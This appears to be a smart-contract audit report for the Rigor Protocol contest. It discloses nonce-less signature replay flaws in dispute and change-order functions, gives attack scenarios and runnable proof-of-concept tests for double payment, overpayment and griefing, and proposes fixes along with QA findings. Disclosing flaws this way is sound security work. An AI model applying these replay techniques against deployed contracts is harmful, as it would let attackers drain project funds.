Rigor Protocol contest - horsefacts's results

Lines of code

https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Project.sol#L493

Vulnerability details

Unlike some of the other signature based operations in the Rigor system, dispute signatures do not include a nonce and are vulnerable to replay attacks.

This is similar to my finding in #339, but lower severity, since it is more of a spamming/griefing vector.

Impact: Malicious callers may replay past disputes to spam the disputes contract with fake duplicates.

Test case

Add the following test case to test/utils/disputeTests.ts:

    it('dispute replay', async () => {
      // Add tasks
      const hashArray = ['0x'];
      const costArray = [200000000000];

      const addTasksData = {
        types: ['bytes[]', 'uint256[]', 'uint256', 'address'],
        values: [
          hashArray,
          costArray,
          await project.taskCount(),
          project.address,
        ],
      };
      const [encodedAddTasksData, addTasksSignature] = await multisig(
        addTasksData,
        [signers[0]],
      );
      await (
        await project.addTasks(encodedAddTasksData, addTasksSignature)
      ).wait();

      //make up difference in cost and lending
      await builderLend(project, mockDAIContract, signers[0]);
      // Add GC
      const data = {
        types: ['address', 'address'],
        values: [signers[1].address, project.address],
      };
      const [encodedDataAddGC, signatureAddGC] = await multisig(data, [
        signers[0],
        signers[1],
      ]);
      const txAddGC = await project.inviteContractor(
        encodedDataAddGC,
        signatureAddGC,
      );
      await txAddGC.wait();

      let expected = 1;
      const actionValues = [[exampleHash], [500000000000], 1, projectAddress];
      // build and raise dispute transaction
      const [encodedData, signature] = await makeDispute(
        projectAddress,
        0,
        1,
        actionValues,
        signers[1],
        '0x43f5',
      );

      expect(await disputesContract.disputeCount()).to.be.equal(0);

      let tx = await project
        .connect(signers[1])
        .raiseDispute(encodedData, signature);
      // expect event
      await expect(tx)
        .to.emit(disputesContract, 'DisputeRaised')
        .withArgs(0, '0x43f5');
      // expect dispute raise to store info
      let _dispute = await disputesContract.disputes(0);
      let decodedAction = abiCoder.decode(types.taskAdd, _dispute.actionData);
      expect(_dispute.status).to.be.equal(1);
      expect(_dispute.taskID).to.be.equal(0);
      expect(decodedAction[0][0]).to.be.equal(exampleHash);
      expect(decodedAction[1][0]).to.be.equal(500000000000);
      expect(decodedAction[2]).to.be.equal(1);
      expect(decodedAction[3]).to.be.equal(projectAddress);
      expect(await disputesContract.disputeCount()).to.be.equal(1);
      // expect unchanged number of tasks
      let taskCount = await project.taskCount();
      expect(taskCount).to.be.equal(expected);

      // Unrelated griefer replays dispute Tx
      let replayTx = await project
        .connect(signers[3])
        .raiseDispute(encodedData, signature);
      await replayTx.wait();

      // A new dispute is created
      _dispute = await disputesContract.disputes(1);
      decodedAction = abiCoder.decode(types.taskAdd, _dispute.actionData);
      expect(_dispute.status).to.be.equal(1);
      expect(_dispute.taskID).to.be.equal(0);
      expect(decodedAction[0][0]).to.be.equal(exampleHash);
      expect(decodedAction[1][0]).to.be.equal(500000000000);
      expect(decodedAction[2]).to.be.equal(1);
      expect(decodedAction[3]).to.be.equal(projectAddress);
      expect(await disputesContract.disputeCount()).to.be.equal(2);
    });

Recommendation

First and most important, add a nonce to dispute data and verify it in raiseDispute, similar to the implementation in other functions lke updateTaskHash:

Project#raiseDispute

        // Decode params from _data
        (address _project, uint256 _task, , , , _nonce) = abi.decode(
            _data,
            (address, uint256, uint8, bytes, bytes, uint256)
        );

        // Revert if decoded nonce is incorrect. This indicates wrong data.
        require(_nonce == raiseDisputeNonce, "Project::!Nonce");
        raiseDisputeNonce++;

Second, ensure that _msgSender() matches one of the recovered message signers in raiseDispute. Note that the comments in this function ("Revert if sender...") indicate that it checks the message sender, but the logic actually checks the recovered signer. The recovered signer address is never compared against _msgSender() to ensure that the caller is an authorized builder, contractor, or subcontractor.

Project#raiseDispute

        if (_task == 0) {
            // Revet if sender is not builder or contractor
            require(
                signer == builder || signer == contractor,
                "Project::!(GC||Builder)"
            );
            require(_msgSender() == builder || _msgSender() == contractor, 'Not a signer');
        } else {
            // Revet if sender is not builder, contractor or task's subcontractor
            require(
                signer == builder ||
                    signer == contractor ||
                    signer == tasks[_task].subcontractor,
                "Project::!(GC||Builder||SC)"
            );
            require(_msgSender() == builder || _msgSender() == contractor || _msgSEnder() == tasks[_task].subcontractor, 'Not a signer');

            if (signer == tasks[_task].subcontractor) {
                // If sender is task's subcontractor, revert if invitation is not accepted.
                require(getAlerts(_task)[2], "Project::!SCConfirmed");
            }
        }

Lines of code

https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Project.sol#L386 https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Project.sol#L449 https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/libraries/Tasks.sol#L160

Vulnerability details

Unlike some of the other signature based operations in the Rigor system, change order signatures do not include a nonce and are vulnerable to replay attacks. A number of exploits are possible using replayed change orders, including subcontractors extracting multiple payments for the same task, subcontractors extracting excess payment for a single task, and denial of service/griefing of competing subcontractors to prevent them from completing tasks.

The worst of these attacks require the attacker to engineer or observe specific changes to both tasks and the project budget, e.g. multiple change orders at different amounts for the same task. However, these conditions do not seem unreasonable in the context of an active construction project, where change orders are common and tasks often cost more than originally estimated. Moreover, the more active the project, the more possibilities there will be for a malicious caller to find a sequence of replays that may be exploited.

I've come up with a few examples below, but I suspect there are additional scenarios where change order replays may be exploited in unexpected ways.

Scenarios

Multiple payments for the same task

In this scenario, the attacker exploits multiple change orders and the state of the project budget to claim payment for a task multiple times.

1. Bob, the builder, creates and funds new project with five 1,000 DAI tasks.
2. Bob invites Mallory, a malicious subcontractor, to complete task 1.
3. Mallory accepts the invite.
4. A few days later, Mallory comes to Bob with bad news: the task is more expensive than expected. She will need 10,000 DAI.
5. Bob and the community agree on the new cost, issue a change order, and fund the project at the higher price.
6. A few weeks later, Mallory comes to Bob with great news: she didn't need all that extra cash and the task is going to come in under budget! She will only need 3,000 DAI. Since Mallory is establishing a trusted subcontractor relationship with Bob, and may be bidding for other tasks, it's in her interest to allow the project to reclaim and reallocate the excess amount.
7. Bob issues a change order for the reduced amount and the excess is reclaimed.
8. Bob and Mallory agree the task is complete, and sign and submit a setComplete transaction. Mallory is paid 3,000 DAI.
9. The project continues. Like all construction projects, Bob discovers additional unplanned tasks that need funding.
10. Before Bob calls addTasks to create these additional tasks, Mallory calls changeOrder and replays the 10,000 DAI change order from step 4. (If Mallory is a sophisticated attacker, she may watch for Bob's transaction in the mempool and frontrun it, or perhaps she just follows project updates off chain and has knowledge of when Bob will add more tasks).
11. If the current amount lent to the project is insufficent to cover the replayed task, Mallory's already completed task will be marked unapproved and transition back to the Inactive state when the change order is replayed.
12. Once Bob funds the project for the tasks in step 10, Mallory can accept task 1 again. Since change orders are funded before new tasks, her task will become Active and funded.
13. Mallory can now replay the setComplete transaction from step 8 to complete task 1 for a second time and extract 10,000 DAI. Mallory has extracted 13,000 DAI total rather than 3,000 DAI for task 1.

Impact: Malicious subcontractors may complete tasks multiple times to steal project funds from other tasks. If a given task has had multiple change orders at multiple prices, this attack may be repeated multiple times.

Excess payment for a single task

Steps 1-7 here are the same as the previous example: Mallory engineers a scenario where a task has multiple change orders at different total costs. This attack is easier because she does not need to monitor the project budget to force her task into the unapproved state. Instead, she simply claims payment for the task once at the higher price.

1. Bob, the builder, creates and funds new project with five 1,000 DAI tasks.
2. Bob invites Mallory, a malicious subcontractor, to complete task 1.
3. Mallory accepts the invite.
4. A few days later, Mallory comes to Bob with bad news: the task is more expensive than expected. She will need 10,000 DAI.
5. Bob and the community agree on the new cost, issue a change order, and fund the project at the higher price.
6. A few weeks later, Mallory comes to Bob with great news: she didn't need all that extra cash and the task is going to come in under budget! She will only need 3,000 DAI. Since Mallory is establishing a trusted subcontractor relationship with Bob, and may be bidding for other tasks, it's in her interest to allow the project to reclaim and reallocate the excess amount.
7. Bob issues a change order for the reduced amount and the excess is reclaimed.
8. Mallory waits for Bob to add new tasks and increase the project budget.
9. Bob and Mallory agree that task 1 is complete, and sign and submit a setComplete transaction.
10. Mallory frontruns the setComplete transaction, replays the 10,000 DAI change order from step 4, and re-accepts the task.
11. Mallory extracts 10,000 DAI rather than 3,000 DAI for task 1.

Impact: Malicious subcontractors may extract more payment than agreed for a specific task by replaying past change orders.

Denial of service/griefing of subcontractors

In this scenario, a malicious user can replay past change orders to block or grief an honest subcontractor claiming payment.

1. Bob, the builder, creates and funds new project.
2. Bob invites Alice, an honest subcontractor, to complete task 1.
3. Alice accepts the invite.
4. Over the course of the task, Bob issues multiple change orders that change the cost of task 1.
5. Eve, a malicious user, observes Bob's change order signatures.
6. Alice completes the task, signs with Bob, and submits a setComplete transaction.
7. Eve frontruns the setComplete transaction and replays a previous change order. 7a. If the cost of the replayed change order is above the final cost of the task, Alice may be blocked from claiming payment. 7b. If the cost of the replayed change order is below the final cost of the task, Alice will receive less payment than agreed.

Impact: Honest contractors may be blocked from accepting payment or griefed by malicious users replaying change orders.

Test cases

Add the following examples to test/utils/projectTests.ts.

Multiple payments

it('change order double payment replay attack', async () => {
    // Our project has five tasks
    const hashArray = ['0x', '0x', '0x', '0x', '0x'];
    const costArray = [taskCost, taskCost, taskCost, taskCost, taskCost];
    const addTasksData = {
      types: ['bytes[]', 'uint256[]', 'uint256', 'address'],
      values: [
        hashArray,
        costArray,
        await project.taskCount(),
        project.address,
      ],
    };
    const [encodedAddTasksData, addTasksSignature] = await multisig(
      addTasksData,
      [signers[0]],
    );

    const tx = await project.addTasks(encodedAddTasksData, addTasksSignature);
    await expect(tx)
      .to.emit(project, 'TasksAdded')
      .withArgs(costArray, hashArray);

    expect(await project.taskCount()).to.equal(5);
    let { cost, subcontractor, state } = await project.getTask(1);
    expect(cost).to.equal(costArray[0]);
    expect(subcontractor).to.equal(ethers.constants.AddressZero);
    expect(state).to.equal(1);

    // Invite a subcontractor
    const scList = [signers[2].address];

    const inviteSCTx = await project.inviteSC([1], scList);
    await inviteSCTx.wait();

    // Subcontractor accepts invite
    const acceptInviteTx = await project
      .connect(signers[2])
      .acceptInviteSC([1]);
    await acceptInviteTx.wait();

    // Lender funds full project amount, 5 * taskCost
    const lendingAmount = taskCost * 5;
    await mockDAIContract.mock.transferFrom
      .withArgs(signers[0].address, project.address, lendingAmount)
      .returns(true);
    const lendToProjectTx = await project.lendToProject(lendingAmount);
    await lendToProjectTx.wait();

    // Oops, these hardwood floors are gonna cost a lot
    // more than we thought!
    // Issue a change order for task 1 that increases the cost
    const sc = signers[2].address;
    let newCost = taskCost * 10;
    const projectAddress = project.address;
    const changeOrder1Data = {
      types: ['uint256', 'address', 'uint256', 'address'],
      values: [1, sc, newCost, projectAddress],
    };
    const [encodedChangeOrder1Data, changeOrder1Signature] = await multisig(
      changeOrder1Data,
      [signers[0], signers[2]],
    );

    await mockDAIContract.mock.transfer.returns(true);
    const changeOrder1Tx = await project.changeOrder(
      encodedChangeOrder1Data,
      changeOrder1Signature,
    );
    await changeOrder1Tx.wait();

    await expect(changeOrder1Tx)
      .to.emit(project, 'ChangeOrderFee')
      .withArgs(1, newCost);
    let taskDetails = await project.getTask(1);
    expect(taskDetails.cost).to.equal(newCost);
    expect(taskDetails.subcontractor).to.equal(sc);
    expect(taskDetails.state).to.equal(1);

    // Re-invite subcontractor
    const inviteSCTx2 = await project.inviteSC([1], scList);
    await inviteSCTx2.wait();

    // Accept invite
    const acceptInviteTx2 = await project
      .connect(signers[2])
      .acceptInviteSC([1]);
    await acceptInviteTx2.wait();

    // Fully fund project for increased cost
    const increasedLendingAmount = taskCost * 9;
    await mockDAIContract.mock.transferFrom
      .withArgs(signers[0].address, project.address, increasedLendingAmount)
      .returns(true);
    const lendToProjectTx2 = await project.lendToProject(
      increasedLendingAmount,
    );
    await lendToProjectTx2.wait();

    // Hey boss, good news from your subcontractor! We're under budget.
    // Issue a change order for task 1 that decreases the cost
    newCost = taskCost * 3;
    const changeOrder2Data = {
      types: ['uint256', 'address', 'uint256', 'address'],
      values: [1, sc, newCost, projectAddress],
    };
    const [encodedChangeOrder2Data, changeOrder2Signature] = await multisig(
      changeOrder2Data,
      [signers[0], signers[2]],
    );

    await mockDAIContract.mock.transfer.returns(true);
    const changeOrder2Tx = await project.changeOrder(
      encodedChangeOrder2Data,
      changeOrder2Signature,
    );
    await changeOrder2Tx.wait();

    await expect(changeOrder2Tx)
      .to.emit(project, 'ChangeOrderFee')
      .withArgs(1, newCost);
    taskDetails = await project.getTask(1);
    expect(taskDetails.cost).to.equal(newCost);
    expect(taskDetails.subcontractor).to.equal(sc);
    expect(taskDetails.state).to.equal(2);

    // Subcontractor completes task at 5x cost
    const setCompleteData = {
      types: ['uint256', 'address'],
      values: [1, projectAddress],
    };
    const [encodedSetCompleteData, setCompleteSignature] = await multisig(
      setCompleteData,
      [signers[0], signers[2]],
    );

    const setCompleteTx = await project.setComplete(
      encodedSetCompleteData,
      setCompleteSignature,
    );
    await expect(setCompleteTx).to.emit(project, 'TaskComplete').withArgs(1);

    // Subcontractor 1 replays 10x change order
    await mockDAIContract.mock.transfer.returns(true);
    const changeOrderReplayTx = await project
      .connect(signers[2])
      .changeOrder(encodedChangeOrder1Data, changeOrder1Signature);
    await changeOrderReplayTx.wait();

    taskDetails = await project.getTask(1);
    expect(taskDetails.cost).to.equal(taskCost * 10);
    expect(taskDetails.subcontractor).to.equal(sc);
    expect(taskDetails.state).to.equal(1);

    const allocateTx = await project.connect(signers[2]).allocateFunds();
    await allocateTx.wait();

    const taskHashes = ['0x', '0x', '0x', '0x', '0x'];
    const taskCosts = [taskCost, taskCost, taskCost, taskCost, taskCost];
    const extraTasksData = {
      types: ['bytes[]', 'uint256[]', 'uint256', 'address'],
      values: [
        taskHashes,
        taskCosts,
        await project.taskCount(),
        project.address,
      ],
    };
    const [encodedAddExtraTasksData, addExtraTasksSignature] = await multisig(
      extraTasksData,
      [signers[0]],
    );

    const addExtraTasksTx = await project.addTasks(
      encodedAddExtraTasksData,
      addExtraTasksSignature,
    );
    await addExtraTasksTx.wait();

    // Fully fund project for increased cost of new tasks
    await mockDAIContract.mock.transferFrom
      .withArgs(signers[0].address, project.address, taskCost * 5)
      .returns(true);
    const lendToProjectTx3 = await project.lendToProject(
      increasedLendingAmount,
    );
    await lendToProjectTx3.wait();

    // Accept invite
    const acceptInviteTx4 = await project
      .connect(signers[2])
      .acceptInviteSC([1]);
    await acceptInviteTx4.wait();

    // Contractor 2 replays setComplete
    // Contractor 2 has completed task 1 twice, and claimed payment
    // at both the 5x and 10x cost.
    const setCompleteReplayTx = await project
      .connect(signers[2])
      .setComplete(encodedSetCompleteData, setCompleteSignature);
    await expect(setCompleteReplayTx)
      .to.emit(project, 'TaskComplete')
      .withArgs(1);
  });

Excess payment

  it('change order frontrun replay attack', async () => {
    // Add 5 tasks with equal cost
    const hashArray = ['0x', '0x', '0x', '0x', '0x'];
    const costArray = [taskCost, taskCost, taskCost, taskCost, taskCost];
    const addTasksData = {
      types: ['bytes[]', 'uint256[]', 'uint256', 'address'],
      values: [
        hashArray,
        costArray,
        await project.taskCount(),
        project.address,
      ],
    };
    const [encodedAddTasksData, addTasksSignature] = await multisig(
      addTasksData,
      [signers[0]],
    );

    const tx = await project.addTasks(encodedAddTasksData, addTasksSignature);
    await expect(tx)
      .to.emit(project, 'TasksAdded')
      .withArgs(costArray, hashArray);

    expect(await project.taskCount()).to.equal(5);
    let { cost, subcontractor, state } = await project.getTask(1);
    expect(cost).to.equal(costArray[0]);
    expect(subcontractor).to.equal(ethers.constants.AddressZero);
    expect(state).to.equal(1);

    // Invite subcontractor
    const scList = [signers[2].address];

    const inviteSCTx = await project.inviteSC([1], scList);
    await inviteSCTx.wait();

    // Accept invite
    const acceptInviteTx = await project
      .connect(signers[2])
      .acceptInviteSC([1]);
    await acceptInviteTx.wait();

    // Fully fund project for all five tasks
    const lendingAmount = taskCost * 5;
    await mockDAIContract.mock.transferFrom
      .withArgs(signers[0].address, project.address, lendingAmount)
      .returns(true);
    const lendToProjectTx = await project.lendToProject(lendingAmount);
    await lendToProjectTx.wait();

    // Change order for task 1 increases cost
    const sc = signers[2].address;
    let newCost = taskCost * 5; // 5x cost of task
    const projectAddress = project.address;
    const changeOrder1Data = {
      types: ['uint256', 'address', 'uint256', 'address'],
      values: [1, sc, newCost, projectAddress],
    };
    const [encodedChangeOrder1Data, changeOrder1Signature] = await multisig(
      changeOrder1Data,
      [signers[0], signers[2]],
    );

    await mockDAIContract.mock.transfer.returns(true);
    const changeOrder1Tx = await project.changeOrder(
      encodedChangeOrder1Data,
      changeOrder1Signature,
    );
    await changeOrder1Tx.wait();

    await expect(changeOrder1Tx)
      .to.emit(project, 'ChangeOrderFee')
      .withArgs(1, newCost);
    let taskDetails = await project.getTask(1);
    expect(taskDetails.cost).to.equal(newCost);
    expect(taskDetails.subcontractor).to.equal(sc);
    expect(taskDetails.state).to.equal(1);

    // Change order for task 1 decreases cost back to previous value
    newCost = taskCost;
    const changeOrder2Data = {
      types: ['uint256', 'address', 'uint256', 'address'],
      values: [1, sc, newCost, projectAddress],
    };
    const [encodedChangeOrder2Data, changeOrder2Signature] = await multisig(
      changeOrder2Data,
      [signers[0], signers[2]],
    );

    await mockDAIContract.mock.transfer.returns(true);
    const changeOrder2Tx = await project.changeOrder(
      encodedChangeOrder2Data,
      changeOrder2Signature,
    );
    await changeOrder2Tx.wait();

    await expect(changeOrder2Tx)
      .to.emit(project, 'ChangeOrderFee')
      .withArgs(1, newCost);
    taskDetails = await project.getTask(1);
    expect(taskDetails.cost).to.equal(newCost);
    expect(taskDetails.subcontractor).to.equal(sc);
    expect(taskDetails.state).to.equal(1);

    // Builder adds and funds new tasks
    const taskHashes = ['0x', '0x', '0x', '0x', '0x'];
    const taskCosts = [taskCost, taskCost, taskCost, taskCost, taskCost];
    const extraTasksData = {
      types: ['bytes[]', 'uint256[]', 'uint256', 'address'],
      values: [
        taskHashes,
        taskCosts,
        await project.taskCount(),
        project.address,
      ],
    };
    const [encodedAddExtraTasksData, addExtraTasksSignature] = await multisig(
      extraTasksData,
      [signers[0]],
    );

    const addExtraTasksTx = await project.addTasks(
      encodedAddExtraTasksData,
      addExtraTasksSignature,
    );
    await addExtraTasksTx.wait();

    // Sign setComplete message
    const setCompleteData = {
      types: ['uint256', 'address'],
      values: [1, projectAddress],
    };
    const [encodedSetCompleteData, setCompleteSignature] = await multisig(
      setCompleteData,
      [signers[0], signers[2]],
    );

    // Subcontractor replays previous change order
    await mockDAIContract.mock.transfer.returns(true);
    const changeOrderReplayTx = await project.changeOrder(
      encodedChangeOrder1Data,
      changeOrder1Signature,
    );
    await changeOrderReplayTx.wait();

    await expect(changeOrderReplayTx)
      .to.emit(project, 'ChangeOrderFee')
      .withArgs(1, newCost * 5);
    taskDetails = await project.getTask(1);
    expect(taskDetails.cost).to.equal(newCost * 5);
    expect(taskDetails.subcontractor).to.equal(sc);
    expect(taskDetails.state).to.equal(1);

    // Accept invite
    const acceptInviteTx2 = await project
      .connect(signers[2])
      .acceptInviteSC([1]);
    await acceptInviteTx2.wait();

    // Subcontractor completes task at higher cost
    const setCompleteTx = await project.setComplete(
      encodedSetCompleteData,
      setCompleteSignature,
    );
    await expect(setCompleteTx).to.emit(project, 'TaskComplete').withArgs(1);
  });

Dos/Griefing

  it('change order DoS attack', async () => {
    // Add 5 tasks with equal cost
    const hashArray = ['0x', '0x', '0x', '0x', '0x'];
    const costArray = [taskCost, taskCost, taskCost, taskCost, taskCost];
    const addTasksData = {
      types: ['bytes[]', 'uint256[]', 'uint256', 'address'],
      values: [
        hashArray,
        costArray,
        await project.taskCount(),
        project.address,
      ],
    };
    const [encodedAddTasksData, addTasksSignature] = await multisig(
      addTasksData,
      [signers[0]],
    );

    const tx = await project.addTasks(encodedAddTasksData, addTasksSignature);
    await expect(tx)
      .to.emit(project, 'TasksAdded')
      .withArgs(costArray, hashArray);

    expect(await project.taskCount()).to.equal(5);
    let { cost, subcontractor, state } = await project.getTask(1);
    expect(cost).to.equal(costArray[0]);
    expect(subcontractor).to.equal(ethers.constants.AddressZero);
    expect(state).to.equal(1);

    // Invite subcontractor
    const scList = [signers[2].address];

    const inviteSCTx = await project.inviteSC([1], scList);
    await inviteSCTx.wait();

    // Accept invite
    const acceptInviteTx = await project
      .connect(signers[2])
      .acceptInviteSC([1]);
    await acceptInviteTx.wait();

    // Fully fund project for all five tasks
    const lendingAmount = taskCost * 5;
    await mockDAIContract.mock.transferFrom
      .withArgs(signers[0].address, project.address, lendingAmount)
      .returns(true);
    const lendToProjectTx = await project.lendToProject(lendingAmount);
    await lendToProjectTx.wait();

    // Change order for task 1 increases cost
    const sc = signers[2].address;
    let newCost = taskCost * 5; // 5x cost of task
    const projectAddress = project.address;
    const changeOrder1Data = {
      types: ['uint256', 'address', 'uint256', 'address'],
      values: [1, sc, newCost, projectAddress],
    };
    const [encodedChangeOrder1Data, changeOrder1Signature] = await multisig(
      changeOrder1Data,
      [signers[0], signers[2]],
    );

    await mockDAIContract.mock.transfer.returns(true);
    const changeOrder1Tx = await project.changeOrder(
      encodedChangeOrder1Data,
      changeOrder1Signature,
    );
    await changeOrder1Tx.wait();

    await expect(changeOrder1Tx)
      .to.emit(project, 'ChangeOrderFee')
      .withArgs(1, newCost);
    let taskDetails = await project.getTask(1);
    expect(taskDetails.cost).to.equal(newCost);
    expect(taskDetails.subcontractor).to.equal(sc);
    expect(taskDetails.state).to.equal(1);

    // Change order for task 1 decreases cost back to previous value
    newCost = taskCost;
    const changeOrder2Data = {
      types: ['uint256', 'address', 'uint256', 'address'],
      values: [1, sc, newCost, projectAddress],
    };
    const [encodedChangeOrder2Data, changeOrder2Signature] = await multisig(
      changeOrder2Data,
      [signers[0], signers[2]],
    );

    await mockDAIContract.mock.transfer.returns(true);
    const changeOrder2Tx = await project.changeOrder(
      encodedChangeOrder2Data,
      changeOrder2Signature,
    );
    await changeOrder2Tx.wait();

    await expect(changeOrder2Tx)
      .to.emit(project, 'ChangeOrderFee')
      .withArgs(1, newCost);
    taskDetails = await project.getTask(1);
    expect(taskDetails.cost).to.equal(newCost);
    expect(taskDetails.subcontractor).to.equal(sc);
    expect(taskDetails.state).to.equal(1);

    // Sign setComplete message
    const setCompleteData = {
      types: ['uint256', 'address'],
      values: [1, projectAddress],
    };
    const [encodedSetCompleteData, setCompleteSignature] = await multisig(
      setCompleteData,
      [signers[0], signers[2]],
    );

    // Griefer replays previous change order
    await mockDAIContract.mock.transfer.returns(true);
    const changeOrderReplayTx = await project
      .connect(signers[3])
      .changeOrder(encodedChangeOrder1Data, changeOrder1Signature);
    await changeOrderReplayTx.wait();

    await expect(changeOrderReplayTx)
      .to.emit(project, 'ChangeOrderFee')
      .withArgs(1, newCost * 5);
    taskDetails = await project.getTask(1);
    expect(taskDetails.cost).to.equal(newCost * 5);
    expect(taskDetails.subcontractor).to.equal(sc);
    expect(taskDetails.state).to.equal(1);

    // Replay has marked task inactive, subcontractor 2 cannot claim.
    const setCompleteTx = await project.setComplete(
      encodedSetCompleteData,
      setCompleteSignature,
    );
    await expect(setCompleteTx).to.be.revertedWith('Task::!Active');
  });

Recommendation

I recommend several defense-in-depth changes to prevent these scenarios.

First and most important, add a nonce to change order data and verify it in changeOrder, similar to the implementation in other functions lke updateTaskHash:

Project#changeOrder:

     // Decode params from _data
        (
            uint256 _taskID,
            address _newSC,
            uint256 _newCost,
            address _project,
            uint256 _nonce
        ) = abi.decode(_data, (uint256, address, uint256, address, uint256));
        
    // Revert if decoded nonce is incorrect. This indicates wrong data.
    require(_nonce == changeOrderNonce, "Project::!Nonce");
    changeOrderNonce++;

Second, prevent Completed tasks from transitioning back to other states:

Tasks#unApprove

    function unApprove(Task storage _self) internal {
        // State/ lifecycle //
        require(_self.state != TaskStatus.Complete, 'cannot unapprove completed task');
        _self.alerts[uint256(Lifecycle.SCConfirmed)] = false;
        _self.state = TaskStatus.Inactive;
    }

(You may also be able to do this using the onlyActive modifier).

Finally, if third parties are not intended to submit signatures on behalf of the builder/contractor/subcontractor, ensure that _msgSender() matches one of the recovered message signers in checkSignatureTask:

Project#checkSignatureTask

    function checkSignatureTask(
        bytes calldata _data,
        bytes calldata _signature,
        uint256 _taskID
    ) internal {
        // Calculate hash from bytes
        bytes32 _hash = keccak256(_data);

        // Local instance of subcontractor. To save gas.
        address _sc = tasks[_taskID].subcontractor;

        // When there is no contractor
        if (contractor == address(0)) {
            // Just check for B and SC sign
            checkSignatureValidity(builder, _hash, _signature, 0);
            checkSignatureValidity(_sc, _hash, _signature, 1);
            require(_msgSender() == builder || _msgSender() == _sc, 'Not a signer');
        }
        // When there is a contractor
        else {
            // When builder has delegated his rights to contractor
            if (contractorDelegated) {
                // Check for GC and SC sign
                checkSignatureValidity(contractor, _hash, _signature, 0);
                checkSignatureValidity(_sc, _hash, _signature, 1);
                require(_msgSender() == contractor || _msgSender() == _sc, 'Not a signer');
            }
            // When builder has not delegated rights to contractor
            else {
                // Check for B, SC and GC signatures
                checkSignatureValidity(builder, _hash, _signature, 0);
                checkSignatureValidity(contractor, _hash, _signature, 1);
                checkSignatureValidity(_sc, _hash, _signature, 2);
                require(_msgSender() == builder || _msgSender() == contractor || _msgSender() == _sc, 'Not a signer');
            }
        }
    }

QA

Low

Project NFTs may be minted to non-ERC721 receivers

HomeFi project NFTs use _mint rather than _safeMint. Project NFTs may be minted to contract addresses that cannot receive them:

        // Mints NFT and set token URI
        _mint(_to, projectCount);
        _setTokenURI(projectCount, _tokenURI);

Recommendation: prefer _safeMint.

Prefer two-step ownership transfers

The admin of the HomeFi contract may be changed in a single step. This pattern can be prone to error, and may permanently lock out the contract admin if set to an incorrect address. Consider adopting a two step ownership transfer pattern, where the new admin is first nominated, then must accept ownership of the contract.

• HomeFi#replaceAdmin

Noncritical

The lender fee calculation appears to slightly underprice the actual lender fee, if it is calculated with a scalar value of 1000:

Community.sol#lendToProject

        // Calculate lenderFee
        uint256 _lenderFee = (_lendingAmount * _projectInstance.lenderFee()) /
            (_projectInstance.lenderFee() + 1000);

Recommendation:

        // Calculate lenderFee
        uint256 _lenderFee = (_lendingAmount * _projectInstance.lenderFee()) / 1000;

Emit event from setTrustedForwarder

The setTrustedForwarder function does not emit an event:

HomeFi#setTrustedForwarder

    function setTrustedForwarder(address _newForwarder)
        external
        override
        onlyAdmin
        noChange(trustedForwarder, _newForwarder)
    {
        trustedForwarder = _newForwarder;
    }

QA

Isolate unit tests

The Rigor unit tests set up the necessary contracts once per test suite, then run individual test cases in a shared, stateful context that persists across individual test cases. This makes it difficult to reason about the contract state in each individual test case, since changes made in previous tests may affect later ones. In my own experience, this approach is especially prone to accidental errors and invalid assumptions due to unexpected interactions between test cases.

Recommendation: set up and tear down the full system before/after each test case and run each test case in an isolated context.

Expose a full array getter for allContractNames

HomeFiProxy tracks deployed contracts by their two-character name. Although you can access these one by one through the exposed public getter created for allContractNames, you may want to also add a custom getter function that returns the full array for convenience:

HomeFiProxy

    bytes2[] public allContractNames;

Suggestion:

    bytes2[] public allContractNames;

    function getAllContractNames() external view returns(bytes2[]) {
        return allContractNames;
    }

Unnecessary use of payable

It does not appear necessary to store addresses as address payable in HomeFiProxy, since this value is not read or paid by other contracts in the system. In contract storage, an address payable will store the same data as a regular address.

HomeFiProxy#L32:

    /// @dev mapping that maps contract initials with there implementation address
    mapping(bytes2 => address payable) internal contractAddress;

HomeFiProxy#L227

        // Store details
        contractAddress[_contractName] = payable(address(tempInstance));
        contractsActive[address(tempInstance)] = true;

Pass empty string

This line in Community#repayLender will pass the literal bytes 0x3078, i.e. the string value "0x". You may want to pass an empty string or or new bytes(0) if the intent is to pass empty bytes.

        // Internally call reduce debt
        _reduceDebt(_communityID, _project, _repayAmount, "0x");

Explaining the math:
So, if user wanted to invest 1000$ to a project, he would pass _investment as 1005 (adding the investment fee). Then the cal would be 
=> _investorFee = 1005*5/(1000+5)      {according to new formula}
=> _investorFee = 5.
=> _amountInvested = _investment - _investorFee = 1005 - 5 = 1000.